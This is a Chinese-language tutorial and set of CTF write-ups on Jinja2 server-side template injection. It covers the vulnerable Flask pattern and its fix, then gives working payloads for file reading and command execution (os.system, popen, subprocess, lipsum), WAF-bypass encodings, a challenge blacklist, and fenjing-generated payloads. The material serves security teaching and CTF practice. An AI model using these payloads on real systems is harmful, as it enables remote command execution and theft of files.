SSTI漏洞
SSTI漏洞
seoraSSTI漏洞
模板引擎
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。
SSTI
SSTI 就是服务器端模板注入(Server-Side Template Injection)
当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。
凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。
Python中的SSTI
python常见的模板有:Jinja2,tornado。
Jinja2是一种面向Python的现代和设计友好的模板语言,它是以Django的模板为模型的
Jinja2是Flask框架的一部分。Jinja2会把模板参数提供的相应的值替换了 块
Jinja2使用 结构表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获取。
语法:
{{ ... }} 是执行表达式并把结果插入页面的位置
{% ... %} 用来声明变量,也可以用于循环语句和条件语句
这边使用vulhub提供的环境进行复现,搭建成功后访问首页如图:
进入docker容器来看一下web代码:
1 | from flask import Flask, request |
t = Template(“hello” + name) 这行代码表示,将前端输入的name拼接到模板,此时name的输入没有经过任何检测,尝试使用模板语言测试:
如果使用一个固定好了的模板,在模板渲染之后传入数据,就不存在模板注入,就好像SQL注入的预编译一样,修复上面代码如下:
1 | from flask import Flask, request |
编译运行,再次注入就会失败
之前写的是:
1
2t = Template("Hello " + name)
return t.render()这会把用户输入直接拼进模板字符串,如果用户输入带有
{{ ... }},就会被当作代码执行,导致 SSTI 漏洞。现在这段代码:
1
2t = Template("Hello {{n}}")
return t.render(n=name)模板字符串是固定的,变量值通过参数传入,Jinja2 只会把变量内容作为纯文本插入,不会执行其中的代码。
由于在jinja2中是可以直接访问python的一些对象及其方法的,所以可以通过构造继承链来执行一些操作,比如文件读取,命令执行等:
1 | __dict__ :保存类实例或对象实例的属性变量键值对字典 |
用file对象读取文件(python2)
python2在线编译:Python2 在线工具 | 菜鸟工具
代码解析
1 | for c in {}.__class__.__base__.__subclasses__(): |
这段代码用 Python 写的,主要目的是通过 Python 内置类型的反射机制,查找并使用文件(file)类,打开并读取名为 joker.txt 的文件内容。下面详细解释:
{}.__class__
{}是一个空字典,类型是dict。{}.__class__就是<class 'dict'>,即字典的类对象。

{}.__class__.__base__
dict的基类(父类),通常是object。也就是获取字典的父类。
{}.__class__.__base__.__subclasses__()
object类有个方法__subclasses__(),返回所有直接继承自它的子类列表。- 这段代码用
object这个基类调用__subclasses__(),获取系统中所有继承自object的类列表。
1 | for i, c in enumerate({}.__class__.__base__.__subclasses__()): |
1 | 0: <type 'type'> |
可以看到file类是第40个。
for c in ...
- 遍历所有的
object的子类。
if(c.__name__=='file')
- 判断当前类的名字是否是字符串
'file'。 - 这里想找到名为
file的类。
print(c)
- 打印该类对象。
print c('joker.txt').readlines()
- 实例化该类,传入
'joker.txt'作为参数,等同于打开joker.txt文件。 - 调用
readlines()方法,读取文件所有行并返回列表。 - 然后打印读取的内容。
使用jinja2的语法封装成可解析的样子:
1 | {% for c in [].__class__.__base__.__subclasses__() %} |
{% for ... %} 和 {% if ... %} 是控制流标签
{{ ... }}:模板输出值的位置
也可以写成:
1 | {}.__class__.__base__.__subclasses__()[40]("joker.txt").readlines() |
代码解释:
[40]("joker.txt"):取出第 40 个类,并实例化它
.readlines():读取内容
用内置模块执行命令
通过 __globals__ 去利用别人已经导入的 os。
上面的实例中我们使用__subclasses__()把内置的对象列举出来,其实可以用__globals__更深入的去看每个类可以调用的东西(包括模块,类,变量等等),如果有os这种可以直接传入命令,造成命令执行
os模块:因为 Python 的 os 模块是对 操作系统功能 的封装,其中包含了调用系统命令、文件操作、环境控制等能力。一旦你能访问 os 模块,就可以做几乎任何事情——也就是所谓的“任意命令执行”。
即使你不能 import os,你可以通过 __globals__ 去利用别人已经导入的 os。
我们可以继续深入拿到函数类的 __globals__,找到 os 模块,然后用 os.popen("whoami").read() 远程执行命令。
1 | #coding:utf-8 |
解释代码
search = 'os'
目标字符串,表示你想在类中查找是否有 os 模块被引用。你也可以换成其他模块名,比如 sys、subprocess 等。
if search in i.__init__.__globals__.keys():
尝试获取该类构造函数 __init__ 的 __globals__,也就是这个函数定义时的全局变量字典。检查有没有 search 指定的模块名(例如 'os')在这个类定义时被引用。
print(i, num)
如果找到了引用,打印这个类和它的序号。
except: pass
防止报错(有些类没有 __init__,或者 __init__ 不是 Python 函数对象),就跳过。
可以看到在元组61,76的位置找到了os模块,这样就可以构造命令执行payload:
1 | ().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].system('whoami') |
拆解分析:
1 | ().__class__ # 是 <class 'tuple'>,空元组的类 |
只要这个类的 __init__ 在全局作用域里导入了 os,你就能通过它拿到 os 模块。
于是执行:
1 | ['os'].system('whoami') # 调用操作系统命令:whoami |
不过同样,只能在python2版本使用,这时候就要推荐__builtins__
使用__builtin__ 模块导入模块
在 python 中,不引入直接使用的内置函数被称为 builtin 函数,随着 __builtin__ 这个模块自动引⼊到环境中。
我们如何引入模块呢?
⼀个模块对象有⼀个由字典对象实现的命名空间,属性的引用会被转换为这个字典中的查找:
字典访问属性访问简单定义
| 访问方式 | 示例 | 说明 |
|---|---|---|
| 属性访问 | obj.attr |
使用「点」. 来访问对象的属性 |
| 字典访问 | obj['key'] |
使用方括号 [] 来通过键访问字典的值 |
- 两者在语法和底层行为上是不同的。
我们先把含有__builtins__模块的内置函数使用字典都列出来:
1 | #coding:utf-8 |
1 | ['filterwarnings', 'once_registry', 'WarningMessage', '_show_warning', 'filters', '_setoption', 'showwarning', '__all__', 'onceregistry', '__package__', 'simplefilter', 'default_action', '_getcategory', '__builtins__', 'catch_warnings', '__file__', 'warnpy3k', 'sys', '__name__', 'warn_explicit', 'types', 'warn', '_processoptions', 'defaultaction', '__doc__', 'linecache', '_OptionError', 'resetwarnings', 'formatwarning', '_getaction'] |
可以发现每个都是字典形式:我们通过__builtins__['__import__'] 来访问__import__模块
然后导入 os 模块:__builtins__['__import__']('os')
这时候我们的命令执行payload就出来了:
__builtins__.__dict__['__import__']('os').system('whoami')
1 | ().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['__import__']("os").system("whoami") |
通过函数 eval 和 exec导入模块:
还有另一种导入import模块的方法:
通过函数导入模块 eval 和 exec:
1 | eval('__import__("os").system("dir")') |
1 | ().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')") |
基础payload
获取基本类
1 | ''.__class__.__mro__[1] |
1.利用os 模块的 popen 函数和 system 函数
1 | ''.__class__.__base__.__subclasses__()[154].__init__.__globals__['popen']('cat /etc/passwd').read() |
1 | ''.__class__.__base__.__subclasses__()[154].__init__.__globals__['system']('cat /etc/passwd') |
2.利用subprocess
1 | for i, cls in enumerate(object.__subclasses__()): |
1 | ''.__class__.__base__.__subclasses__()[253](['cat','/etc/passwd']).stdout.read() |
1 | []["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[351](['ls','/'],stdout=-1).communicate()[0] |
3.利用lipsum内置函数
在 Jinja2 模板中,lipsum 通常是内置的函数(例如在 Flask 中你使用 render_template() 并启用 jinja2.ext.i18n 或 jinja2.ext.do 扩展时),你可能会看到 lipsum 可用于生成虚拟文本(lorem ipsum)。
1 | {{ lipsum.__globals__["os"].popen('ls /').read() }} |
常见绕waf的姿势
SSTI模板注入Plus | Bypass - h0cksr - 博客园
绕过特殊字符串过滤:
逆序:
如绕过 os 过滤,可以⽤字符串的变化来引⼊ os
1 | __import__('so'[::-1]).system('whoami') |
利⽤ eval 或者 exec ,结合字符串倒序
1 | eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1]) |
1 | exec(')"imaohw"(metsys.so ;so tropmi'[::-1]) |
拼接
1 | b = 'o' a = 's' |
1 | __import__(a+b).system('whoami') |
编码处理
base64 、 hex 、 rot3 、 unicode 、 oct 、字符串拼接等
| 示例 | 技术分类 | 说明 |
|---|---|---|
['__builtins__'] |
直接字符串 | 正常方式访问 |
['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f'] |
十六进制转义 | 每个字符用 \xNN 表示 |
[u'\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f'] |
Unicode 转义 | 每个字符用 \uXXXX 表示 |
['X19idWlsdGluc19f'.decode('base64')] |
base64 解码 | '__builtins__' 的 base64 编码是 X19idWlsdGluc19f |
['__buil'+'tins__'] |
字符串拼接 | 分段拼接 |
['__buil''tins__'] |
Python 自动连接字面值 | 两个字符串紧挨着 Python 会自动连接 |
['__buil'.__add__('tins__')] |
使用字符串对象方法 | 等价于 '__buil' + 'tins__' |
["_builtins_".join("__")] |
利用 join 拼接 |
结果为 _builtins___builtins_(这个可能是示例写错) |
['%c%c%c%c%c%c%c%c%c%c%c%c' % (95, 95, 98, 117, 105, 108, 116, 105, 110, 115, 95, 95)] |
格式化输出字符 | %c 将数字格式化成 ASCII 字符,得到 '__builtins__' |
16进制编码转换:
1 | def string_to_hex(string): |
popen代替system
如果删除了 system 这个函数,我们可以寻找其他进⾏命令执行的函数,如 popen:
1 | __import__('os').popen('whoami').read() |
使用getattr获取对象的属性
getattr() 是 Python 的内置函数,用于根据字符串动态获取对象的属性
可以通过 getattr拿到对象的方法、属性:
1 | getattr(os 'metsys'[::-1])('whoami') |
等价于:
1 | os.system('whoami') |
字符的绕过
魔法函数绕过[]
获取键值的本质是调用魔法函数__getitem__()
所以可以使用__getitem__()替代中括号取键值当中括号被过滤时,可以使用__getitem__()代替[],实现绕过。
此外对于字典对象的话还可使用pop()函数得到键值,还有其他一些方法如下
1 | {{url_for.__globals__['__builtins__']}} |
过滤引号
chr函数
python2:
第一行:获取内置函数 chr
第二行:构造路径并使用file对象读取文件
1 | {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %} |
request对象
1 | {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd |
这个 payload:
1 | {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }} |
配合访问方式:
1 | http://target/?path=/etc/passwd |
dict() 拿键
1 | list(dict(whoami=1))[0] |
payload1:
dict(whoami=1)会构造一个字典:{'whoami': 1}list(...)会把字典的 键 转换成列表:['whoami'][0]取第一个键,也就是'whoami'
payload2:
dict(whoami=1)还是构造字典{'whoami': 1}str(...)转换成字符串(格式可能是:"{'whoami': 1}",注意不同 Python 版本可能有空格)[2:8]是字符串切片,从第3个字符到第8个字符
str 和 [] 结合
1 | str(().__class__.__new__) |
().__class__ → 是 object,因为 () 是个空元组,元组是类 tuple 的实例,而 tuple 的基类是 object。
().__class__.__new__ → 得到的是 object.__new__ 这个方法。
str(...) → 把这个方法变成字符串(通常是其描述形式):
输出类似于:
1 | #"<built-in method __new__ of type object at 0x00007FF8E39F0AF0>" |
用索引 [21], [13] 等,是在对这个字符串做 字符索引切片操作,手动“拼接”字符串 "whoami"。
1 | str(().__class__.__new__)[21] |
空格
通过 () 、 [] 替换
()
利⽤装饰器 @
利⽤魔术⽅法,例如
enum.EnumMeta.__getitem__,一般题目直接过滤小括号的话那可以直接考虑flag在当前app的环境变量中了
TGCTF2025直面天命(复仇)
查看源代码跳转/hint路由,然后跳转到 //aazz路由 ,查看源代码:
1 | import os |
黑名单:
1 | black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self'] |
需要1.不含黑名单单词2.所有字符均为可打印字符3.包含完整secret_key才能获取到flag
secret_key为天命 难违,天命被替换为{{`,`难违`被替换为`}}。
我们最后需要把payload写进天命 难违之间。
构造payload:
看有没有哪些类可以用
1 | ''.__class__.__mro__[1].__subclasses__() |
waf里有._ bases
1 | []["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]() |
subprocess.Popen 是一个类,能更灵活地启动子进程:
把,替换成\n复制到VScode,
可以看到是第352个类。
[][“\x5f\x5fclass\x5f\x5f”]
1 | []["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[351](['ls','/'],stdout=-1).communicate()[0] |
可以看到flag所在的目录:
1 | ntgffff11111aaaagggggggg |
1 | []["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[351](['cat','/tgffff11111aaaagggggggg'],stdout=-1).communicate()[0] |
也可以用16进制和[]绕过
1 | 天命()['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f'][0]['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[132]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x70\x6f\x70\x65\x6e']('ls /')["\x72\x65\x61\x64"]()难违 |
1 | 天命()['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f'][0]['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[132]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x70\x6f\x70\x65\x6e']('cat /tgffff11111aaaagggggggg')["\x72\x65\x61\x64"]()难违 |
polarCTF ghost_render
题目写了渲染再上传到,md里写{{7*7}},界面渲染结果是49
抓包直接传{{[].__class__.__bases__[0].subclasses__()}}
可以看到第280个类是:subprocess
[][“\x5f\x5fclass\x5f\x5f”]
1 | []["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[279](['ls','/'],stdout=-1).communicate()[0] |
根目录下没有,在/var里面:
flag在/var/secret_flag
在这篇里发现了另一个可用的payload[有效载荷/服务器端模板注入/python.md在主人·swisskyrepo/paryloadsallthethings·github](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server Side Template Injection/Python.md?ref=blog.qz.sg#jinja2—remote-command-execution)
1 | {{ lipsum.__globals__["os"].popen('ls /').read() }} |
1 | {{ lipsum.__globals__["os"].popen('ls /var').read() }} |
1 | {{ lipsum.__globals__["os"].popen('cat /var/secret_flag').read() }} |
使用焚靖
把源代码中黑名单写入waf.txt,删除{ }用__WAF绕关键字攻击__的方法读取关键字黑名单并生成绕过payload。
1 | python -m fenjing crack-keywords -k waf.txt -o output.txt --command 'ls /' |
1 | python -m fenjing #启动crack功能 |
得到的payload:
1 | {{(cycler.next["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]['o''s']['p''open']('ls /'))['r''ead']()}} |
把{{` ` }}分别替换为keywords就可以了。
1 | {'name':'天命(cycler.next["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]['o''s']['p''open']('ls /'))['r''ead']()难违'} |






















